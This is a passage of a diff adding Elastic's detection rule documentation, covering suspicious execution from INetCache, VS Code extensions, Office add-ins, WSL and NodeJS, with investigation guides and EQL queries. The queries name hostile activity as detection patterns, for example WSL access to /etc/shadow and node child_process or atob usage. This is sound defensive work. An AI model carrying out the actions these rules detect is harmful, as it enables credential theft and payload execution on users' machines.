Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Execution from INET Cache* + + +The INetCache folder stores temporary internet files, which can be exploited by adversaries to execute malicious payloads delivered via WININET. Attackers may disguise malware as legitimate files cached during browsing. The detection rule identifies suspicious processes initiated from this cache, especially when launched by common file explorers, signaling potential initial access or command and control activities. + + +*Possible investigation steps* + + +- Review the process details to confirm the executable path and arguments match the INetCache folder pattern specified in the query. +- Identify the parent process, such as explorer.exe, winrar.exe, 7zFM.exe, or Bandizip.exe, to determine if the process launch is consistent with typical user behavior or potentially malicious activity. +- Check the user account associated with the process to assess if the activity aligns with the user's normal behavior or if the account may be compromised. +- Investigate the file in the INetCache directory for known malware signatures or anomalies using antivirus or endpoint detection tools. +- Analyze network activity from the host to identify any suspicious connections that may indicate command and control communication. +- Correlate the event with other security alerts or logs to identify patterns or additional indicators of compromise related to the initial access or command and control tactics. + + +*False positive analysis* + + +- Legitimate software updates or installations may temporarily use the INetCache folder for storing executable files. Users can create exceptions for known update processes by identifying their specific executable paths and excluding them from the rule. +- Some browser extensions or plugins might cache executable files in the INetCache folder during normal operations. Users should monitor and whitelist these extensions if they are verified as safe and frequently trigger alerts. +- Automated scripts or tools that interact with web content might inadvertently store executables in the INetCache folder. Users can adjust the rule to exclude these scripts by specifying their parent process names or paths. +- Certain enterprise applications may use the INetCache folder for legitimate purposes. Users should collaborate with IT departments to identify these applications and configure exceptions based on their unique process signatures. +- Regularly review and update the list of excluded processes to ensure that only verified and non-threatening activities are exempt from triggering alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further communication with potential command and control servers. +- Terminate any suspicious processes identified as originating from the INetCache folder to halt any ongoing malicious activity. +- Delete any malicious files found within the INetCache directory to remove the immediate threat. +- Conduct a full antivirus and antimalware scan on the affected system to identify and remove any additional threats. +- Review and analyze recent email logs and web browsing history to identify potential phishing attempts or malicious downloads that may have led to the initial compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for the INetCache directory and related processes to detect similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ("explorer.exe", "winrar.exe", "7zFM.exe", "Bandizip.exe") and + ( + process.args : "*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*" or + process.executable : ( + "?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*", + + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*" + ) + ) and + not process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\mspaint.exe", + "?:\\Windows\\System32\\notepad.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Program Files\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\*.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\mspaint.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\notepad.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-from-vs-code-extension.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-from-vs-code-extension.asciidoc new file mode 100644 index 0000000000..3bf807589c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-from-vs-code-extension.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-20-suspicious-execution-from-vs-code-extension]] +=== Suspicious Execution from VS Code Extension + +Detects suspicious process execution launched from a VS Code extension context (parent command line contains .vscode/extensions). Malicious extensions can run on startup and drop or execute payloads (e.g. RATs like ScreenConnect, script interpreters, or download utilities). This covers both script/LOLBin children and recently created executables from non-Program Files paths, as seen in campaigns such as the fake Clawdbot extension that installed ScreenConnect RAT. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-malware +* https://attack.mitre.org/techniques/T1204/ +* https://attack.mitre.org/techniques/T1195/002/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Execution from VS Code Extension* + + +Malicious VS Code extensions can use `activationEvents: ["onStartupFinished"]` to run as soon as the editor starts, then spawn scripts or download-and-execute payloads (e.g. weaponized ScreenConnect, batch/PowerShell downloaders). This rule flags process starts whose parent command line indicates execution from the extension host under `.vscode\extensions\` (or `/.vscode/extensions/`). + + +*Possible investigation steps* + + +- Identify the extension: from the parent process command line, extract the path under `.vscode\extensions\` to get the extension id (e.g. `publisher.name-version`). +- Check whether that extension is approved; search the VS Code marketplace (or internal registry) for the same name and compare hashes. +- Inspect the child process: if it is cmd/powershell/curl/node/rundll32/etc., review command line and network/file activity; if it is a recently created executable (e.g. Code.exe, Lightshot), check path (e.g. %TEMP%\Lightshot) and code signature. +- Correlate with network events (C2 domains, Dropbox/URL downloads) and with https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-malware[Fake Clawdbot VS Code Extension] IOCs if relevant. + + +*False positive analysis* + + +- Legitimate extensions that run scripts or tools (e.g. linters, formatters, task runners) can spawn cmd, node, or PowerShell. Tune by excluding known extension ids or by requiring additional conditions (e.g. outbound to unknown IPs). +- Extension development: running/debugging an extension from a workspace will spawn processes from `.vscode\extensions\`; consider excluding dev machines or specific parent paths. + + +*Response and remediation* + + +- Uninstall the suspicious extension and restart VS Code. +- If payload was executed: check for ScreenConnect (or similar) installation paths and services, remove persisted artifacts, block IOCs at firewall/DNS, rotate any API keys or secrets that may have been entered into the extension. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.action == "start" and + process.parent.name : ("node.exe", "Code.exe") and + process.parent.command_line != null and + process.parent.command_line : ("*vscode*extensions*", "*extensionHost*") and + ( + process.name : ( + "cmd.exe", "powershell.exe", "pwsh.exe", "rundll32.exe", "msiexec.exe", + "curl.exe", "bitsadmin.exe", "wscript.exe", "cscript.exe", "mshta.exe", + "node.exe" + ) or + + // recently dropped PE + process.Ext.relative_file_creation_time <= 500 + ) and + not (process.name : "cmd.exe" and process.args : ("npm.cmd config get prefix", "code -v", "chcp")) and + not (process.name : "python.exe" and process.parent.command_line : "*ms-python.vscode-*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-via-microsoft-office-add-ins.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-via-microsoft-office-add-ins.asciidoc new file mode 100644 index 0000000000..7a74a98eab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-via-microsoft-office-add-ins.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-20-suspicious-execution-via-microsoft-office-add-ins]] +=== Suspicious Execution via Microsoft Office Add-Ins + +Identifies execution of common Microsoft Office applications to launch an Office Add-In from a suspicious path or with an unusual parent process. This may indicate an attempt to get initial access via a malicious phishing MS Office Add-In. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/Octoberfest7/XLL_Phishing +* https://labs.f-secure.com/archive/add-in-opportunities-for-office-persistence/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Execution via Microsoft Office Add-Ins* + + +Microsoft Office Add-Ins enhance productivity by integrating additional features into Office applications. However, adversaries can exploit this by embedding malicious code within add-ins, often delivered through phishing. The detection rule identifies unusual execution patterns, such as Office apps launching add-ins from suspicious paths or with atypical parent processes, signaling potential threats. It filters out known benign activities to minimize false positives, focusing on genuine anomalies indicative of malicious intent. + + +*Possible investigation steps* + + +- Review the process name and arguments to confirm if the execution involves a Microsoft Office application launching an add-in from a suspicious path, as indicated by the process.name and process.args fields. +- Check the parent process name to determine if the Office application was launched by an unusual or potentially malicious parent process, such as cmd.exe or powershell.exe, using the process.parent.name field. +- Investigate the file path from which the add-in was executed to assess if it matches any of the suspicious paths listed in the query, such as the Temp or Downloads directories, using the process.args field. +- Examine the host's recent activity logs to identify any related events or patterns that might indicate a broader attack or compromise, focusing on the host.os.type and event.type fields. +- Correlate the alert with any recent phishing attempts or suspicious emails received by the user to determine if the execution is part of a phishing campaign, leveraging the MITRE ATT&CK tactic and technique information provided. +- Verify if the execution is a false positive by checking against the known benign activities excluded in the query, such as specific VSTOInstaller.exe paths or arguments, to rule out legitimate software installations or updates. + + +*False positive analysis* + + +- Logitech software installations can trigger false positives when VSTO files are executed by Logitech's PlugInInstallerUtility. To mitigate this, exclude processes with paths related to Logitech installations from the detection rule. +- The VSTOInstaller.exe process may be flagged when uninstalling applications. Exclude processes with the /Uninstall argument to prevent these false positives. +- Rundll32.exe executing with specific arguments related to MSI temporary files can be benign. Exclude these specific rundll32.exe executions to avoid false alerts. +- Sidekick.vsto installations from the specified URL can be legitimate. Exclude this specific VSTOInstaller.exe process with the Sidekick.vsto argument to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any ongoing malicious activity. +- Terminate any suspicious processes identified by the detection rule, such as those involving unusual parent processes or originating from suspicious paths. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious add-ins or related malware. +- Review and clean up any unauthorized or suspicious Office add-ins from the affected applications to ensure no malicious code remains. +- Restore the system from a known good backup if the integrity of the system is compromised and cannot be assured through cleaning alone. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and alerting for similar suspicious activities to enhance detection and response capabilities for future incidents. + +==== Rule query + + +[source, js] +---------------------------------- +process where + + host.os.type == "windows" and event.type == "start" and + + process.name : ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSACCESS.EXE", "VSTOInstaller.exe") and + + process.args regex~ """.+\.(wll|xll|ppa|ppam|xla|xlam|vsto)""" and + + /* Office Add-In from suspicious paths */ + (process.args : + ("?:\\Users\\*\\Temp\\7z*", + "?:\\Users\\*\\Temp\\Rar$*", + "?:\\Users\\*\\Temp\\Temp?_*", + "?:\\Users\\*\\Temp\\BNZ.*", + "?:\\Users\\*\\Downloads\\*", + "?:\\Users\\*\\AppData\\Roaming\\*", + "?:\\Users\\Public\\*", + "?:\\ProgramData\\*", + "?:\\Windows\\Temp\\*", + "\\Device\\*", + "http*") or + + process.parent.name : ("explorer.exe", "OpenWith.exe") or + + /* Office Add-In from suspicious parent */ + process.parent.name : ("cmd.exe", "powershell.exe")) and + + /* False Positives */ + not (process.args : "*.vsto" and + process.parent.executable : + ("?:\\Program Files\\Logitech\\LogiOptions\\PlugInInstallerUtility*.exe", + "?:\\ProgramData\\Logishrd\\LogiOptions\\Plugins\\VSTO\\*\\VSTOInstaller.exe", + "?:\\Program Files\\Logitech\\LogiOptions\\PlugInInstallerUtility.exe", + "?:\\Program Files\\LogiOptionsPlus\\PlugInInstallerUtility*.exe", + "?:\\ProgramData\\Logishrd\\LogiOptionsPlus\\Plugins\\VSTO\\*\\VSTOInstaller.exe", + "?:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*\\VSTOInstaller.exe")) and + not (process.args : "/Uninstall" and process.name : "VSTOInstaller.exe") and + not (process.parent.name : "rundll32.exe" and + process.parent.args : "?:\\WINDOWS\\Installer\\MSI*.tmp,zzzzInvokeManagedCustomActionOutOfProc") and + not (process.name : "VSTOInstaller.exe" and process.args : "https://dl.getsidekick.com/outlook/vsto/Sidekick.vsto") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Add-ins +** ID: T1137.006 +** Reference URL: https://attack.mitre.org/techniques/T1137/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-via-windows-subsystem-for-linux.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-via-windows-subsystem-for-linux.asciidoc new file mode 100644 index 0000000000..f3dfd17966 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-via-windows-subsystem-for-linux.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-suspicious-execution-via-windows-subsystem-for-linux]] +=== Suspicious Execution via Windows Subsystem for Linux + +Detects Linux Bash commands from the the Windows Subsystem for Linux. Adversaries may enable and use WSL for Linux to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.f-secure.com/hunting-for-windows-subsystem-for-linux/ +* https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/ +* https://blog.qualys.com/vulnerabilities-threat-research/2022/03/22/implications-of-windows-subsystem-for-linux-for-adversaries-defenders-part-1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Execution via Windows Subsystem for Linux* + + +Windows Subsystem for Linux (WSL) allows users to run Linux binaries natively on Windows, providing a seamless integration of Linux tools. Adversaries may exploit WSL to execute Linux commands stealthily, bypassing traditional Windows security measures. The detection rule identifies unusual WSL activity by monitoring specific executable paths, command-line arguments, and parent-child process relationships, flagging deviations from typical usage patterns to uncover potential threats. + + +*Possible investigation steps* + + +- Review the process command line and executable path to determine if the execution of bash.exe or any other Linux binaries is expected or authorized for the user or system in question. +- Investigate the parent-child process relationship, especially focusing on whether wsl.exe is the parent process and if it has spawned any unexpected child processes that are not wslhost.exe. +- Examine the command-line arguments used with wsl.exe for any suspicious or unauthorized commands, such as accessing sensitive files like /etc/shadow or /etc/passwd, or using network tools like curl. +- Check the user's activity history and system logs to identify any patterns of behavior that might indicate misuse or compromise, particularly focusing on any deviations from typical usage patterns. +- Correlate the alert with other security events or logs from data sources like Elastic Endgame, Microsoft Defender for Endpoint, or Sysmon to gather additional context and determine if this is part of a broader attack or isolated incident. + + +*False positive analysis* + + +- Frequent use of WSL for legitimate development tasks may trigger alerts. Users can create exceptions for specific user accounts or directories commonly used for development to reduce noise. +- Automated scripts or tools that utilize WSL for system maintenance or monitoring might be flagged. Identify these scripts and whitelist their specific command-line patterns or parent processes. +- Docker-related processes may cause false positives due to their interaction with WSL. Exclude Docker executable paths from the detection rule to prevent unnecessary alerts. +- Visual Studio Code extensions that interact with WSL can generate alerts. Exclude known non-threatening extensions by specifying their command-line arguments in the exception list. +- Regular system updates or administrative tasks that involve WSL might be misidentified. Document these activities and adjust the detection rule to recognize them as benign. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, such as those involving bash.exe or wsl.exe with unusual command-line arguments. +- Conduct a thorough review of the affected system's WSL configuration and installed Linux distributions to identify any unauthorized changes or installations. +- Remove any unauthorized or suspicious Linux binaries or scripts found within the WSL environment. +- Reset credentials for any accounts that may have been compromised, especially if sensitive files like /etc/shadow or /etc/passwd were accessed. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for WSL activities across the network to detect similar threats in the future, ensuring that alerts are promptly reviewed and acted upon. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type : "start" and + ( + ( + (process.executable : "?:\\Windows\\System32\\bash.exe" or ?process.pe.original_file_name == "Bash.exe") and + not process.command_line : ("bash", "bash.exe") + ) or + process.executable : "?:\\Users\\*\\AppData\\Local\\Packages\\*\\rootfs\\usr\\bin\\bash" or + ( + process.parent.name : "wsl.exe" and process.parent.command_line : "bash*" and not process.name : "wslhost.exe" + ) or + ( + process.name : "wsl.exe" and process.args : ( + "curl", "/etc/shadow", "/etc/passwd", "cat", "--system", "root", "-e", "--exec", "bash", "/mnt/c/*" + ) and not process.args : ("wsl-bootstrap", "docker-desktop-data", "*.vscode-server*") + ) + ) and + not process.parent.executable : ("?:\\Program Files\\Docker\\*.exe", "?:\\Program Files (x86)\\Docker\\*.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-with-nodejs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-with-nodejs.asciidoc new file mode 100644 index 0000000000..b6d0fc3ab8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-with-nodejs.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-20-suspicious-execution-with-nodejs]] +=== Suspicious Execution with NodeJS + +Identifies suspicious execution patterns using NodeJS interpeter like process path and arguments. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nodejs.org + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Execution with NodeJS* + + +Windows scripts, often used for legitimate automation tasks, can be exploited by adversaries to execute malicious code. Attackers may download scripts via browsers or file utilities, then execute them using scripting tools like wscript or mshta. The detection rule identifies such threats by monitoring script creation from internet sources and subsequent execution, focusing on unusual parent-child process relationships and script attributes. + + +*Possible investigation steps* + + +- Analyze the execution event of the scripting utility (node.exe) to identify the command-line arguments used, which may provide insight into the script's intended actions. +- Review node.exe network, files and child process events for any suspicious activity. +- Verify parent and grand parent processes to assess persence of persistence and the potential initial vector. +- Check the user account associated with the script execution to determine if the activity is expected for that user or if it indicates a compromised account. +- Look for any additional related alerts or logs on the host that might indicate further malicious activity or lateral movement following the script execution. + + +*False positive analysis* + + +- Legitimate script automation tools may trigger this rule if they download and execute scripts from the internet. Users can create exceptions for known safe tools by excluding specific file paths or process names. +- Software updates or installations that download scripts as part of their process might be flagged. To handle this, users can whitelist specific origin URLs or referrer URLs associated with trusted software vendors. +- Internal scripts distributed via corporate intranet sites could be misidentified as threats. Users should consider excluding scripts with known internal origin URLs or specific user IDs associated with IT operations. +- Browser extensions or plugins that automate tasks using scripts may cause false positives. Users can exclude these by identifying and excluding the specific browser process names or file extensions involved. +- Frequent use of file utilities like winrar or 7zFM for legitimate script handling can be excluded by specifying trusted file paths or user IDs that regularly perform these actions. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further execution of potentially malicious scripts and lateral movement. +- Terminate any suspicious processes identified in the alert, such as wscript.exe or mshta.exe, to stop the execution of the downloaded script. +- Quarantine the downloaded script file and any associated files to prevent further execution and facilitate forensic analysis. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or remnants. +- Review and analyze the origin URL and referrer URL of the downloaded script to identify potential malicious websites or compromised sources, and block these URLs at the network level. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement application whitelisting to restrict the execution of unauthorized scripts and scripting utilities, reducing the risk of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + +(process.name : "node.exe" or ?process.pe.original_file_name == "node.exe" or ?process.code_signature.subject_name : "OpenJS Foundation") and + +( + (process.executable : ("?:\\Users\\*\\AppData\\*\\node.exe", "\\Device\\HarddiskVolume?\\\\Users\\*\\AppData\\*\\node.exe") and process.args : "*.js") or + + (process.args : "-r" and process.parent.name : "powershell.exe") or + + process.command_line : ("*eval(*", "*atob(*", "*require*child_process*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-explorer-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-explorer-child-process.asciidoc new file mode 100644 index 0000000000..51602fb99d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-explorer-child-process.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-20-suspicious-explorer-child-process]] +=== Suspicious Explorer Child 